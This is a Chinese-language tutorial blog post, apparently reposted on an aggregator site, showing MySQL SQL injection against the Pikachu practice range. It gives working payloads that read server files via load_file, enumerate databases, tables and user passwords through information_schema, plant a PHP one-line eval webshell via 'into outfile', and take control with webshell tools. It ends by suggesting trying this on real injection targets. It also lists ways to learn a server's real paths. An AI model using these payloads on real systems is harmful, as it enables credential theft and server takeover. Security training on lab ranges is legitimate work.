【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。

这篇具有很好参考价值的文章主要介绍了【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

超详细的网络安全笔记

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

二,文件包含漏洞详解

前言

本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程;

如果想要学习SQL注入原理以及如何进行SQL注入,我也写了一篇详细的SQL注入方法及原理链接如下

【超详细】你知道什么是SQL注入吗?直到如何通过SQL注入来控制目标服务器吗?一篇文章教你sql注入漏洞的原理及方法----sql注入【上】_ANii_Aini的博客-CSDN博客SQL注入漏洞详解。包括原理,分类比如数字型,字符型,搜索型,xx型,宽字节注入,报错注入,盲注,有无回显等,各种注入payload以及产生原因等等https://blog.csdn.net/m0_67844671/article/details/133031125

一,SQL注入读取文件或数据库数据

主要用pikachu靶场演示,靶场安装请参考如下链接

【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安全_Aini的博客-CSDN博客

1-1 读取文件数据

前提条件

## 1、通过信息收集获取到想要读取的目标文件的真实物理路径
## 2、mysql开启了secure_file_priv这个配置

如何开启mysql的secure_file_priv这个配置呢? 

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

找个空白地方协商这个配置即可

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

 然后重启mysql服务即可生效。 

读取文件借助mysql自带的功能函数load_file

比如我们先在根目录写一个文件aini.txt的文件

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

现在要读取这个文件 (根路径为C:\tools\phpstudy\PHPTutorial\WWW)

先用终端演示,用物理机终端连上靶机的数据库

先授权,在靶机打开数据库命令行

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

 先输入密码进入数据库终端,然后授权远程主机登录

授权代码行解释:

grant all   ---------- 表示给予所有权限

on  x.x    ----------- 所有库所有表

(pikachu.*表示piakchu所有表,pikachu.user表示只能操作pikachu库的user表)

to root@192.168.31.% ------- 表示可以以root用户的身份在192.168.31段主机上登录

indentified by 'aini'  登录的验证密码为 'aini'

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

授权完就可以用物理机终端进入,如果不想用物理机的也可以直接在靶机上操作 

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

读取文件的代码(用load_file函数,别忘了用\对路径里的\进行转义) 

 select load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全 测试union联合查询语句

 select id,email from member where username = 'vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全 用网站SQL注入漏洞去注入 (以pikachu靶场为例

payload为

vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");#

通过联合查询,成功读取到了服务器文件 

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

1-2 读取数据库数据

1-2-1 判断查询的字段个数

' order by 1,2,3--+  #报错,表示字段个数小于3个,那么减少一个字段来尝试
' order by 1,2--+    #不报错,表示字段个数为2个,如果还报错,那么继续减少一个来尝试

' order by 1,2#
' order by 1,2,3#

payload为 

vine' order by 1,2,3;#

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

表示位置的列数3,表名3是多余的,后端查询语句中不是三个字段,那就改payload,改为如下 

vince' order by 1,2;#

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全表示,这个字符型注入的查询,后台select语句后面查询的是2个字段数据,那么我们就知道,通过union联合查询的时候,查询的数据是2个字段数据了。

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

 1-2-2 查询当前数据库名、用户名、版本等信息

' union select user(),version();#

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

 1-2-3 获取mysq所有库名

' union select 1,group_concat(schema_name) from information_schema.schemata;# 
## 浏览器地址栏要URL编码,表单直接#或者 -- 就可以
' union select 1,group_concat(schema_name) from information_schema.schemata;#
#和 --  mysql的注释符号 (注意--前面有空格)

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

1-2-4 获取pikachu库的所有表名

' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+

' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

1-2-5 获取表中的字段名

' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273;#

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全 1-2-6 获取所有字段数据

' union select 1,group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users;#

## 其中0x7c表示|,我这里就是为了通过|来拼接每个数据。group_concat类似于concat,也是做字符串拼接的,是MySQL的一个内置函数 

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

 1-3 getshell

1-3-1 木马利用试验

1-1 准备木马

首先在站点根目录创建一个aini.php文件,写入一句话木马

<?php @eval($_POST['aini']);?>   ------  注意里面写的 aini 是连接密码,可以任意指定

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

1-2 用工具连接木马 

## 菜刀、蚁剑、冰蝎、哥斯拉四大木马利用神器,现在推荐冰蝎和蚁剑,功能更好一些,如果需要工具可以留言

用蚁剑 进行连接

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

注意连接密码是写一句话木马的时候 指定的连接密码

写好了以后点击测试连接,然后点击右上角添加即可

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全 双击就就可以成功拿到对方服务器了

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全 右击还有很多别的功能,数据库操作,文件操作等,不细讲了

以后专门写一篇博客介绍这些一句话木马利用工具的利用过程

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

接下来用菜刀这款工具使一下 

右击添加也行,编辑也行

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

填写地址和连接木马以后点右下角‘编辑’即可

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全 双击就可以拿到对方服务器了

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全 【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

 这就是一句话木马的简单利用

1-3-2 通过注入点进行木马注入

2-1 通过注入点写入木马程序的前提条件

1. mysql开启了secure_file_priv=""的配置 ---- 如何开启前面讲过了
2. 要知道网站代码的真实物理路径 ---------- 需要信息收集,通过别的方法来直到真实路径
3. 物理路径具备写入权限 ----------- 要不然木马写不进去
4. 最好是mysql的root用户,这个条件非必须,但是有最好

2-2 通过注入点写入木马程序
' union select "<?php @xx($_POST['aini']);?>",2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\muma.php";#

' union select "<?php @eval($_POST['aini']);?>",2 into outfile "C:\\tools\\phpStudy\\PHPTutorial\\WWW\\muma.php";#

## xx表示eval,因为直接写eval,我们的这个md文档会被杀软杀掉的。

我用第二条payload 向根路径写入了一个muma.php文件 

报了个warning,不过我们去看一下靶机根路径,有没有写入成功

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全 写入成功了【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

 我们用工具利用一下看看

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。,10大漏洞,网络安全,数据库,数据库,服务器,oracle,sql,网络安全,web安全 成功了,所以在真实SQL注入环境中,看看能不能通过注入一句户木马来控制目标主机

2-3 获得后台真实物理路径的方法

## 1、收集站点敏感目录,比如phpinfo.php探针文件是否可以访问到
## 2、站点网址输入一些不存在的网址或者加一些非法参数数据,让网站报错,看错误信息中是否存在路径信息3、指纹信息收集
    ## nginx默认站点目录: /usr/share/nginx/html,配置文件路径:/etc/nginx/nginx.conf
    ## apache默认站点目录:/var/www/html
    ...
## 4、通过站点其他漏洞来获取配置信息、真实物理路径信息,比如如果发现远程命令执行漏洞(后面会讲到各种其他漏洞),针对php的站点,直接执行一个phpinfo()函数,可以看到phpinfo.php所展示的各种信息等等。
## 5、其他思路,反正就是不断的尝试。

mysql数据库的SQL注入就分享到这里,如果需要靶场环境或者工具可以留言

若有不懂的地方可以留言,欢迎技术交流文章来源地址https://www.toymoban.com/news/detail-723199.html

到了这里,关于【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全必学SQL注入

    SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一,它也是目前被利用得最多的漏洞。要学会如何防御SQL注入,首先我们要学习它的原理。 针对SQL注入的攻击行为可描述为通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻

    2024年02月03日
    浏览(52)
  • 【网络安全】初探SQL注入漏洞

    要想玩SQL注入,一个简单的数据交互页面是需要的,故我们用PHP做一个简易网页,有登录、注册和首页三块内容。 登录需要输入账号密码,等待提交后进入系统; 注册需要输入名字,密码,手机号,照片,等待提交后进入系统; 首页需要利用PHP和数据库联动后的查询语句,

    2024年02月16日
    浏览(32)
  • 「网络安全」SQL注入攻击的真相

    点击此处即可获得282G网络安全学习资料 我们生活在数据的黄金时代。有些公司将其分析为更好的自己,有些公司为了获利而进行交易,没有一家公司因其价值而自由放弃 - 对于他们的业务和犯罪分子。 SQL(结构化查询语言)是一种非常流行的与数据库通信的方式。虽然许多

    2024年02月07日
    浏览(41)
  • 网络安全-初学SQL注入&基本概念

    SQL语句:解释SQL(Structured Query Language)是一种用于与关系型数据库进行交互的语言。SQL语句用于执行各种数据库操作,例如插入、更新、删除和查询数据。 用户输入与SQL查询的拼接:说明应用程序通常会接受用户的输入,并将其用作构建SQL查询语句的一部分。这种拼接用户

    2024年02月13日
    浏览(31)
  • 网络安全之SQL注入及防御(下篇)

    目录 什么是SQL注入? 一,SQL注入会导致什么呢? 二,SQL注入思想与步骤 三,SQL注入的绕过 四,sqlmap工具的使用  五,sql注入的防御方法 总结 什么是SQL注入? SQL注入(SQL Injection)是一种常见的网络攻击手段,是因为应用程序对用户输入的数据验证不到位造成的。攻击者在

    2024年04月28日
    浏览(34)
  • 【网络安全】SQL注入漏洞的修复建议

    SQL注入是Web应用程序常见的安全漏洞之一,攻击者通过恶意构造的SQL查询语句,成功在应用程序的数据库中执行任意操作,导致数据泄露、篡改或其他安全问题。 本篇技术博客将详细介绍SQL注入漏洞的修复建议,包括过滤危险字符和使用预编译语句,通过具体的代码案例帮助

    2024年02月06日
    浏览(43)
  • 网络安全B模块(笔记详解)- SQL注入

    1.使用渗透机场景kali中工具扫描服务器场景,将apache的端口号和版本号作为Flag提交(格式:端口号_版本号)  Flag:8081_7.5 2.使用渗透机场景windows7访问服务器场景SQL网站,并将网站中概述页面中的Flag提交; Flag:sql_is_good 3.使用渗透机场景windows7访问服务器中的SQL网站中的数

    2024年01月20日
    浏览(40)
  • 网络安全进阶学习第九课——SQL注入介绍

    将 不受信任 的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在 没有适当授权 的情况下执行非预期命令或访问数据。 注入能导致 数据丢失、破坏 或 泄露给无授权方 ,缺乏可审

    2024年02月14日
    浏览(37)
  • 【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解

    严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。 【点击此处即可获取282G网络安全零基础入门学习资源】 信息搜集在

    2024年02月06日
    浏览(42)
  • 【网络安全】「漏洞原理」(一)SQL 注入漏洞之概念介绍

    严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。 SQL 注入(SQL Injection) 是一种常见的网络攻击技术,它利用应用程序

    2024年02月06日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包